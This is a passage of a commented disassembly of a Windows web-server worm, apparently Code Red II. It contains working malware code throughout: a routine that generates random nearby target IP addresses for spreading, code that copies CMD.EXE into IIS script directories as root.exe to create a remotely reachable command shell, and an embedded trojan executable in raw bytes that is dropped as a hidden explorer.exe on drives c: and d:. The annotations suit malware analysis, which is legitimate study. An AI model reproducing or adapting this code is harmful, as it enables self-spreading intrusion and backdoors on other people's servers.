ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000007C1 FF FF FF FF 00+mask_tab dd 0FFFFFFFFh seg000:000007C1 FF FF FF 00 FF+ dd 0FFFFFF00h seg000:000007C1 FF FF 00 FF FF+ dd 0FFFFFF00h seg000:000007C1 FF 00 FF FF FF+ dd 0FFFFFF00h seg000:000007C1 00 00 FF FF 00+ dd 0FFFFFF00h seg000:000007C1 00 FF FF 00 00+ dd 0FFFF0000h seg000:000007C1 FF FF dd 0FFFF0000h seg000:000007C1 dd 0FFFF0000h seg000:000007E1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000007E1 seg000:000007E1 loc_0_7E1: ; create_ip+27p seg000:000007E1 59 pop ecx ; get addr of mask_tab seg000:000007E2 8B 04 81 mov eax, [ecx+eax*4] ; get mask seg000:000007E5 23 D8 and ebx, eax ; outmask some bits seg000:000007E7 F7 D0 not eax ; reverse the mask seg000:000007E9 23 85 58 FE FF+ and eax, [ebp+my_ip] ; get bits of our own ip seg000:000007EF 0B D8 or ebx, eax ; combine it seg000:000007F1 80 FB 7F cmp bl, 127 ; localnet? seg000:000007F4 74 9F jz short create_ip ; if yes, repeat seg000:000007F6 80 FB E0 cmp bl, 224 ; Compare Two Operands seg000:000007F9 74 9A jz short create_ip ; repeat seg000:000007FB 3B 9D 58 FE FF+ cmp ebx, [ebp+my_ip] ; did we get ourselves? seg000:00000801 74 92 jz short create_ip ; yes -> repeat seg000:00000803 C3 retn ; Return Near from Procedure seg000:00000803 create_ip endp ; sp = 4 seg000:00000803 seg000:00000804 seg000:00000804 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:00000804 seg000:00000804 seg000:00000804 write_files proc near ; worm_main+100p seg000:00000804 68 04 01 00 00 push 260 seg000:00000809 8D 85 5C FE FF+ lea eax, [ebp+buf] ; Load Effective Address seg000:0000080F 50 push eax seg000:00000810 FF 55 E0 call dword ptr [ebp+GetSystemDirectoryA] ; Indirect Call Near Procedure seg000:00000813 8D BC 05 5C FE+ lea edi, [ebp+eax+buf] ; point edi to the end of the returned string seg000:0000081A E8 09 00 00 00 call loc_0_828 ; Call Procedure seg000:0000081A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000081F 5C 43 4D 44 2E+aCmd_exe db '\CMD.EXE',0 seg000:00000828 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000828 seg000:00000828 loc_0_828: ; write_files+16p seg000:00000828 5E pop esi seg000:00000829 FC cld ; concat "\CMD.EXE" seg000:0000082A A5 movsd ; Move Byte(s) from String to String seg000:0000082B A5 movsd ; Move Byte(s) from String to String seg000:0000082C A4 movsb ; Move Byte(s) from String to String seg000:0000082D B3 63 mov bl, 'c' seg000:0000082F seg000:0000082F loop_drives: ; write_files+6D9j seg000:0000082F 6A 01 push 1 ; bFailIfExists = true seg000:00000831 E8 1C 00 00 00 call loc_0_852 ; set lpNewFileName seg000:00000831 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000836 64 3A 5C 69 6E+aDInetpubScriptsRo db 'd:\inetpub\scripts\root.exe',0 seg000:00000852 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000852 seg000:00000852 loc_0_852: ; write_files+2Dp seg000:00000852 8B 0C 24 mov ecx, [esp] ; get addr of string seg000:00000855 88 19 mov [ecx], bl ; replace drive letter seg000:00000857 8D 85 5C FE FF+ lea eax, [ebp+buf] ; lpExistingFileName (%SYSTEMROOT%\CMD.EXE) seg000:0000085D 50 push eax seg000:0000085E FF 55 DC call dword ptr [ebp+CopyFileA] ; copy file seg000:00000861 6A 01 push 1 ; bFailIfExists = true seg000:00000863 E8 2B 00 00 00 call loc_0_893 ; set lpNewFileName seg000:00000863 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000868 64 3A 5C 70 72+aDProgra1Common1Sy db 'd:\progra~1\common~1\system\MSADC\root.exe',0 seg000:00000893 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000893 seg000:00000893 loc_0_893: ; write_files+5Fp seg000:00000893 8B 0C 24 mov ecx, [esp] ; get addr of string seg000:00000896 88 19 mov [ecx], bl ; replace drive letter seg000:00000898 8D 85 5C FE FF+ lea eax, [ebp+buf] ; CMD.EXE seg000:0000089E 50 push eax seg000:0000089F FF 55 DC call dword ptr [ebp+CopyFileA] ; copy file seg000:000008A2 E8 BA 05 00 00 call loc_0_E61 ; Call Procedure seg000:000008A2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000008A7 FC space_marker db 0FCh seg000:000008A8 4D 5A 50 00 02+exe_data db 4Dh, 5Ah, 50h, 0, 2, 0, 0, 0, 4, 0, 0Fh, 0, 0FFh, 0FFh, 0, 0 seg000:000008A8 00 00 00 04 00+ db 0B8h, 0, 0, 0, 0, 0, 0, 0, 40h, 0, 1Ah, 0FCh, 0, 0, 1, 0FCh, 0FCh seg000:000008A8 0F 00 FF FF 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0, 0, 50h, 45h, 0, 0, 4Ch, 1, 3, 0, 0FDh seg000:000008A8 00 B8 00 00 00+ db 2Ah, 25h, 29h, 0, 0, 0, 0, 0, 0, 0, 0, 0E0h, 0, 8Fh, 81h, 0Bh seg000:000008A8 00 00 00 00 40+ db 1, 2, 19h, 0, 4, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 10h, 0, 0, 0 seg000:000008A8 00 1A FC 00 00+ db 10h, 0, 0, 0, 20h, 0, 0, 0, 0, 40h, 0, 0, 10h, 0, 0, 0, 4, 0 seg000:000008A8 01 FC FC FC FC+ db 0, 1, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0Ah, 0, 0, 0, 0, 0, 0, 40h, 0 seg000:000008A8 FC FC 00 00 50+ db 0, 0, 4, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10h, 0, 0, 20h, 0 seg000:000008A8 45 00 00 4C 01+ db 0, 0, 0, 10h, 0, 0, 10h, 0, 0, 0, 0, 0, 0, 10h, 0, 0, 0, 0, 0 seg000:000008A8 03 00 FD 2A 25+ db 0, 0, 0, 0, 0, 0, 0, 30h, 0, 0, 0Ch, 1, 0FCh, 0FCh, 0FCh, 0, 0 seg000:000008A8 29 00 00 00 00+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 seg000:000008A8 00 00 00 00 E0+ db 0, 0, 0, 0, 10h, 0, 0, 0, 10h, 0, 0, 0, 4, 0, 0, 0, 8, 0, 0, 0 seg000:000008A8 00 8F 81 0B 01+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20h, 0, 0, 60h, 0, 0, 0, 0, 0 seg000:000008A8 02 19 00 04 00+ db 0, 0, 0, 0, 10h, 0, 0, 0, 20h, 0, 0, 0, 4, 0, 0, 0, 0Ch, 0, 0 seg000:000008A8 00 00 08 00 00+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40h, 0, 0, 0C0h, 0, 0, 0 seg000:000008A8 00 00 00 00 00+ db 0, 0, 0, 0, 0, 0, 10h, 0, 0, 0, 30h, 0, 0, 0, 4, 0, 0, 0, 10h seg000:000008A8 10 00 00 00 10+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40h, 0, 0, 0C0h, 0FCh seg000:000008A8 00 00 00 20 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 00 00 00 40 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 00 10 00 00 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 04 00 00 01 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0 seg000:000008A8 00 00 00 00 00+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68h, 4, 1, 0, 0 seg000:000008A8 00 03 00 0A 00+ db 68h, 0D0h, 20h, 40h, 0, 0E8h, 61h, 1, 0, 0, 8Dh, 0B8h, 0D0h, 20h seg000:000008A8 00 00 00 00 00+ db 40h, 0, 0BEh, 0, 20h, 40h, 0, 0A5h, 0A5h, 0A5h, 0A5h, 6Ah, 1 seg000:000008A8 40 00 00 00 04+ db 68h, 0D0h, 20h, 40h, 0, 0E8h, 4Ch, 1, 0, 0, 0E8h, 0Ch, 0, 0, 0 seg000:000008A8 00 00 00 00 00+ db 68h, 0C0h, 27h, 9, 0, 0E8h, 31h, 1, 0, 0, 0EBh, 0EFh, 68h, 0D8h seg000:000008A8 00 02 00 00 00+ db 24h, 40h, 0, 68h, 3Fh, 0, 0Fh, 0, 6Ah, 0, 68h, 10h, 20h, 40h seg000:000008A8 00 00 10 00 00+ db 0, 68h, 2, 0, 0, 80h, 0E8h, 32h, 1, 0, 0, 0Bh, 0C0h, 75h, 26h seg000:000008A8 20 00 00 00 00+ db 6Ah, 4, 68h, 54h, 20h, 40h, 0, 6Ah, 4, 6Ah, 0, 68h, 48h, 20h seg000:000008A8 10 00 00 10 00+ db 40h, 0, 0FFh, 35h, 0D8h, 24h, 40h, 0, 0E8h, 0Dh, 1, 0, 0, 0FFh seg000:000008A8 00 00 00 00 00+ db 35h, 0D8h, 24h, 40h, 0, 0E8h, 0Eh, 1, 0, 0, 68h, 0D8h, 24h, 40h seg000:000008A8 10 00 00 00 00+ db 0, 68h, 3Fh, 0, 0Fh, 0, 6Ah, 0, 68h, 58h, 20h, 40h, 0, 68h, 2 seg000:000008A8 00 00 00 00 00+ db 0, 0, 80h, 0E8h, 0EDh, 0, 0, 0, 0Bh, 0C0h, 75h, 55h, 0BDh, 9Ch seg000:000008A8 00 00 00 30 00+ db 20h, 40h, 0, 0E8h, 4Ch, 0, 0, 0, 0BDh, 0A8h, 20h, 40h, 0, 0E8h seg000:000008A8 00 0C 01 FC FC+ db 42h, 0, 0, 0, 6Ah, 9, 68h, 0B8h, 20h, 40h, 0, 6Ah, 1, 6Ah, 0 seg000:000008A8 FC 00 00 00 00+ db 68h, 0B0h, 20h, 40h, 0, 0FFh, 35h, 0D8h, 24h, 40h, 0, 0E8h, 0B4h seg000:000008A8 00 00 00 00 00+ db 0, 0, 0, 6Ah, 9, 68h, 0C4h, 20h, 40h, 0, 6Ah, 1, 6Ah, 0, 68h seg000:000008A8 00 00 00 00 00+ db 0B4h, 20h, 40h, 0, 0FFh, 35h, 0D8h, 24h, 40h, 0, 0E8h, 99h, 0 seg000:000008A8 00 00 00 00 00+ db 0, 0, 0FFh, 35h, 0D8h, 24h, 40h, 0, 0E8h, 9Ah, 0, 0, 0, 0C3h seg000:000008A8 00 00 00 00 00+ db 0C7h, 5, 0D0h, 24h, 40h, 0, 0, 4, 0, 0, 68h, 0D0h, 24h, 40h, 0 seg000:000008A8 00 00 00 10 00+ db 68h, 0D0h, 20h, 40h, 0, 68h, 0D4h, 24h, 40h, 0, 6Ah, 0, 55h, 0FFh seg000:000008A8 00 00 10 00 00+ db 35h, 0D8h, 24h, 40h, 0, 0E8h, 60h, 0, 0, 0, 0Bh, 0C0h, 75h, 49h seg000:000008A8 00 04 00 00 00+ db 0A1h, 0D0h, 24h, 40h, 0, 0Bh, 0C0h, 74h, 40h, 0BEh, 0D0h, 20h seg000:000008A8 08 00 00 00 00+ db 40h, 0, 80h, 3Eh, 0, 74h, 36h, 46h, 66h, 81h, 7Eh, 0FEh, 2Ch seg000:000008A8 00 00 00 00 00+ db 2Ch, 75h, 0F2h, 0C7h, 6, 32h, 31h, 37h, 0, 81h, 0EEh, 0CCh, 20h seg000:000008A8 00 00 00 00 00+ db 40h, 0, 89h, 35h, 0D0h, 24h, 40h, 0, 0FFh, 35h, 0D0h, 24h, 40h seg000:000008A8 20 00 00 60 00+ db 0, 68h, 0D0h, 20h, 40h, 0, 6Ah, 1, 6Ah, 0, 55h, 0FFh, 35h, 0D8h seg000:000008A8 00 00 00 00 00+ db 24h, 40h, 0, 0E8h, 19h, 0, 0, 0, 0C3h, 0FFh, 25h, 60h, 30h, 40h seg000:000008A8 00 00 00 10 00+ db 0, 0FFh, 25h, 64h, 30h, 40h, 0, 0FFh, 25h, 68h, 30h, 40h, 0, 0FFh seg000:000008A8 00 00 20 00 00+ db 25h, 70h, 30h, 40h, 0, 0FFh, 25h, 74h, 30h, 40h, 0, 0FFh, 25h seg000:000008A8 00 04 00 00 00+ db 78h, 30h, 40h, 0, 0FFh, 25h, 7Ch, 30h, 40h, 0FCh, 0FCh, 0FCh seg000:000008A8 0C 00 00 00 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 00 00 00 00 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 seg000:000008A8 00 00 00 00 00+ db 0, 0, 5Ch, 45h, 58h, 50h, 4Ch, 4Fh, 52h, 45h, 52h, 2Eh, 45h, 58h seg000:000008A8 40 00 00 C0 00+ db 45h, 0, 0, 0, 53h, 4Fh, 46h, 54h, 57h, 41h, 52h, 45h, 5Ch, 4Dh seg000:000008A8 00 00 00 00 00+ db 69h, 63h, 72h, 6Fh, 73h, 6Fh, 66h, 74h, 5Ch, 57h, 69h, 6Eh, 64h seg000:000008A8 00 00 00 10 00+ db 6Fh, 77h, 73h, 20h, 4Eh, 54h, 5Ch, 43h, 75h, 72h, 72h, 65h, 6Eh seg000:000008A8 00 00 30 00 00+ db 74h, 56h, 65h, 72h, 73h, 69h, 6Fh, 6Eh, 5Ch, 57h, 69h, 6Eh, 6Ch seg000:000008A8 00 04 00 00 00+ db 6Fh, 67h, 6Fh, 6Eh, 0, 0, 0, 53h, 46h, 43h, 44h, 69h, 73h, 61h seg000:000008A8 10 00 00 00 00+ db 62h, 6Ch, 65h, 0, 0, 9Dh, 0FFh, 0FFh, 0FFh, 53h, 59h, 53h, 54h seg000:000008A8 00 00 00 00 00+ db 45h, 4Dh, 5Ch, 43h, 75h, 72h, 72h, 65h, 6Eh, 74h, 43h, 6Fh, 6Eh seg000:000008A8 00 00 00 00 00+ db 74h, 72h, 6Fh, 6Ch, 53h, 65h, 74h, 5Ch, 53h, 65h, 72h, 76h, 69h seg000:000008A8 40 00 00 C0 FC+ db 63h, 65h, 73h, 5Ch, 57h, 33h, 53h, 56h, 43h, 5Ch, 50h, 61h, 72h seg000:000008A8 FC FC FC FC FC+ db 61h, 6Dh, 65h, 74h, 65h, 72h, 73h, 5Ch, 56h, 69h, 72h, 74h, 75h seg000:000008A8 FC FC FC FC FC+ db 61h, 6Ch, 20h, 52h, 6Fh, 6Fh, 74h, 73h, 0, 0, 0, 0, 2Fh, 53h seg000:000008A8 FC FC FC FC FC+ db 63h, 72h, 69h, 70h, 74h, 73h, 0, 0, 0, 0, 2Fh, 4Dh, 53h, 41h seg000:000008A8 FC FC FC FC FC+ db 44h, 43h, 0, 0, 2Fh, 43h, 0, 0, 2Fh, 44h, 0, 0, 63h, 3Ah, 5Ch seg000:000008A8 FC FC FC FC FC+ db 2Ch, 2Ch, 32h, 31h, 37h, 0, 0, 0, 0, 64h, 3Ah, 5Ch, 2Ch, 2Ch seg000:000008A8 FC FC FC FC FC+ db 32h, 31h, 37h, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 FC FC FC FC FC+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 FC FC FC FC FC+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0, 0, 0, 0, 0, 0, 0, 0, 0 seg000:000008A8 FC FC FC 00 00+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3Ch, 30h, 0, 0, 0, 0, 0, 0, 0 seg000:000008A8 00 00 00 00 00+ db 0, 0, 0, 84h, 30h, 0, 0, 60h, 30h, 0, 0, 4Ch, 30h, 0, 0, 0, 0 seg000:000008A8 00 00 00 00 00+ db 0, 0, 0, 0, 0, 0, 91h, 30h, 0, 0, 70h, 30h, 0, 0, 0, 0, 0, 0 seg000:000008A8 00 00 00 00 68+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9Eh, 30h, 0, 0 seg000:000008A8 04 01 00 00 68+ db 0A6h, 30h, 0, 0, 0BEh, 30h, 0, 0, 0, 0, 0, 0, 0C8h, 30h, 0, 0 seg000:000008A8 D0 20 40 00 E8+ db 0DCh, 30h, 0, 0, 0EEh, 30h, 0, 0, 0FEh, 30h, 0, 0, 0, 0, 0, 0 seg000:000008A8 61 01 00 00 8D+ db 9Eh, 30h, 0, 0, 0A6h, 30h, 0, 0, 0BEh, 30h, 0, 0, 0, 0, 0, 0 seg000:000008A8 B8 D0 20 40 00+ db 0C8h, 30h, 0, 0, 0DCh, 30h, 0, 0, 0EEh, 30h, 0, 0, 0FEh, 30h seg000:000008A8 BE 00 20 40 00+ db 0, 0, 0, 0, 0, 0, 4Bh, 45h, 52h, 4Eh, 45h, 4Ch, 33h, 32h, 2Eh seg000:000008A8 A5 A5 A5 A5 6A+ db 64h, 6Ch, 6Ch, 0, 41h, 44h, 56h, 41h, 50h, 49h, 33h, 32h, 2Eh seg000:000008A8 01 68 D0 20 40+ db 64h, 6Ch, 6Ch, 0, 0, 0, 53h, 6Ch, 65h, 65h, 70h, 0, 0, 0, 47h seg000:000008A8 00 E8 4C 01 00+ db 65h, 74h, 57h, 69h, 6Eh, 64h, 6Fh, 77h, 73h, 44h, 69h, 72h, 65h seg000:000008A8 00 E8 0C 00 00+ db 63h, 74h, 6Fh, 72h, 79h, 41h, 0, 0, 0, 0, 57h, 69h, 6Eh, 45h seg000:000008A8 00 68 C0 27 09+ db 78h, 65h, 63h, 0, 0, 0, 52h, 65h, 67h, 51h, 75h, 65h, 72h, 79h seg000:000008A8 00 E8 31 01 00+ db 56h, 61h, 6Ch, 75h, 65h, 45h, 78h, 41h, 0, 0, 0, 0, 52h, 65h seg000:000008A8 00 EB EF 68 D8+ db 67h, 53h, 65h, 74h, 56h, 61h, 6Ch, 75h, 65h, 45h, 78h, 41h, 0 seg000:000008A8 24 40 00 68 3F+ db 0, 0, 0, 52h, 65h, 67h, 4Fh, 70h, 65h, 6Eh, 4Bh, 65h, 79h, 45h seg000:000008A8 00 0F 00 6A 00+ db 78h, 41h, 0, 0, 0, 52h, 65h, 67h, 43h, 6Ch, 6Fh, 73h, 65h, 4Bh seg000:000008A8 68 10 20 40 00+ db 65h, 79h, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 68 02 00 00 80+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 E8 32 01 00 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 0B C0 75 26 6A+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 04 68 54 20 40+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 00 6A 04 6A 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 68 48 20 40 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 FF 35 D8 24 40+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 00 E8 0D 01 00+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 00 FF 35 D8 24+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 40 00 E8 0E 01+ db 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh, 0FCh seg000:000008A8 00 00 68 D8 24+ db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 seg000:00000E61 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000E61 seg000:00000E61 loc_0_E61: ; write_files+9Ep seg000:00000E61 5E pop esi ; set esi to the start of exedata seg000:00000E62 BF B9 05 00 00 mov edi, 1465 ; set length seg000:00000E67 6A 07 push 7 ; attr = readonly | hidden | system seg000:00000E69 E8 10 00 00 00 call loc_0_E7E ; set name seg000:00000E69 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000E6E 64 3A 5C 65 78+aDExplorer_exe db 'd:\explorer.exe',0 seg000:00000E7E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000E7E seg000:00000E7E loc_0_E7E: ; write_files+665p seg000:00000E7E 8B 04 24 mov eax, [esp] seg000:00000E81 88 18 mov [eax], bl ; replace drive character seg000:00000E83 FF 55 CC call dword ptr [ebp+_lcreat] ; create file seg000:00000E86 83 F8 FF cmp eax, -1 ; failed? seg000:00000E89 74 4D jz short next_drive ; if yes -> check the next drive seg000:00000E8B 89 85 4C FE FF+ mov [ebp+file_handle], eax seg000:00000E91 AC lodsb ; get space_marker and esi++ seg000:00000E92 8A F8 mov bh, al ; save to bh seg000:00000E94 seg000:00000E94 loop_writefile: ; write_files+6C9j seg000:00000E94 38 3E cmp [esi], bh ; are we at a space marker? seg000:00000E96 75 27 jnz short no_spacemark ; writecount = 1 seg000:00000E98 6A 20 push 32 ; write 32 bytes '\0' seg000:00000E9A E8 23 00 00 00 call yes_spacemark ; get addr of nullbytes seg000:00000E9A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000E9F nullbytes: seg000:00000E9F 00 00 00 00 00+ db 20h dup(0) seg000:00000EBF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000EBF seg000:00000EBF no_spacemark: ; write_files+692j seg000:00000EBF 6A 01 push 1 ; writecount = 1 seg000:00000EC1 56 push esi ; addr seg000:00000EC2 seg000:00000EC2 yes_spacemark: ; write_files+696p seg000:00000EC2 FF B5 4C FE FF+ push dword ptr [ebp+file_handle] seg000:00000EC8 FF 55 C8 call dword ptr [ebp+_lwrite] ; write seg000:00000ECB 46 inc esi ; Increment by 1 seg000:00000ECC 4F dec edi ; Decrement by 1 seg000:00000ECD 75 C5 jnz short loop_writefile ; reached the end? seg000:00000ECF FF B5 4C FE FF+ push dword ptr [ebp+file_handle] seg000:00000ED5 FF 55 C4 call dword ptr [ebp+_lclose] ; Indirect Call Near Procedure seg000:00000ED8 seg000:00000ED8 next_drive: ; write_files+685j seg000:00000ED8 FE C3 inc bl ; get to next drive seg000:00000EDA 80 FB 64 cmp bl, 'd' ; Compare Two Operands seg000:00000EDD 0F 86 4C F9 FF+ jbe loop_drives ; Jump if Below or Equal (CF=1 | ZF=1) seg000:00000EE3 C3 retn ; Return Near from Procedure seg000:00000EE3 write_files endp ; sp = -28h seg000:00000EE3 seg000:00000EE4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000EE4 61 popa ; code is never reached - prolly remains of development seg000:00000EE5 C9 leave ; High Level Procedure Exit seg000:00000EE6 C2 04 00 retn 4 ; Return Near from Procedure seg000:00000EE9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000EE9 90 nop ; No Operation seg000:00000EE9 seg000 ends seg000:00000EE9 seg000:00000EE9 seg000:00000EE9 end